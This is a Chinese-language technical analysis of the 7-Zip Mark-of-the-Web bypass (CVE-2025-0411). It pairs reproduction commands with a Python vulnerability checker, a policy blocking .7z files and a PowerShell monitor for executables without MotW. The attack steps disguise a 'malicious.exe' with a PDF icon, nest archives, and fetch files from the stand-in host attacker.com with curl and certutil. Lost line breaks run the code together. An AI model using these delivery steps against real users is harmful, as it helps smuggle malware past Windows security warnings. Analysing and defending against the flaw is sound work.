7-Zip Mark-of-the-Web绕过漏洞（CVE-2025-0411）技术分析

wget https://www.7-zip.org/a/7z2301-linux-x64.tar.xztar xvf 7z2301-linux-x64.tar.xzsudo cp 7zz /usr/local/bin/7z

# 验证版本7z --version # 应显示23.01

# 生成隐蔽的Shellcode加载器（伪装为PDF图标）$icoBytes = [System.IO.File]::ReadAllBytes('legit.pdf.ico')[System.IO.File]::WriteAllBytes('malicious.exe', $icoBytes + [System.Text.Encoding]::UTF8.GetBytes('LoaderCodeHere'))

# 第一次压缩（内层）7z a -pinfected inner.7z malicious.exe

# 第二次压缩（外层携带MotW）curl -O http://attacker.com/inner.7z7z a -mhe=on final.7z inner.7z

certutil -urlcache -split -f http://attacker.com/final.7z

# 检查文件标记Get-Item .final.7z -Stream * | Select-Object FileName, Stream

# 输出应显示FileName: C:final.7zStream   : :Zone.Identifier

import pefileimport zipfilefrom pathlib import Pathdef check_7z_vulnerability(exec_path):    """检测7z主程序版本"""    try:        pe = pefile.PE(exec_path)        version = pe.FileInfo[0].StringTable[0].entries[b'FileVersion']        major, minor = map(int, version.split(b'.')[:2])        return (major < 24) or (major == 24 and minor < 9)    except Exception as e:        return Falsedef analyze_archive(file_path):    """递归分析压缩包结构"""    markers = []    with zipfile.ZipFile(file_path) as zf:        for name in zf.namelist():            if name.lower().endswith(('.7z', '.zip')):                markers.append(f"嵌套压缩文件: {name}")                with zf.open(name) as inner_file:                    inner_path = Path('temp') / name                    inner_path.write_bytes(inner_file.read())                    markers += analyze_archive(inner_path)            # 检查Zone.Identifier            if not any(s.startswith('Zone.Identifier') for s in zf.namelist()):                markers.append(f"文件 {name} 缺少MotW标记")    return markersif __name__ == "__main__":    # 示例用法    print("7z.exe存在漏洞:", check_7z_vulnerability("C:\Program Files\7-Zip\7z.exe"))    results = analyze_archive("malicious.7z")    print("n".join(results))

<!-- 禁用非标准压缩格式 --><policyname="压缩软件限制"        class="Machine"        displayName="限制高风险压缩格式"        explainText="阻止可能绕过安全检测的压缩格式">    <elements>        <fileExtensionvalue=".7z"action="deny" />    </elements></policy>

# 实时监控文件解压操作Register-EngineEvent -SourceIdentifier FileSystem -Action {    param($event)    if ($event.SourceArgs.ChangeType -eq 'Created' -and         $event.SourceArgs.Name -match '.(exe|dll)$') {        $streams = Get-Item $event.SourceArgs.FullPath -Stream *        if ($streams.Stream -notcontains 'Zone.Identifier') {            Write-Warning "检测到无MotW标记的可执行文件: $($event.SourceArgs.FullPath)"            Remove-Item $event.SourceArgs.FullPath -Force        }    }}

sha256sum 7z2409-x64.exe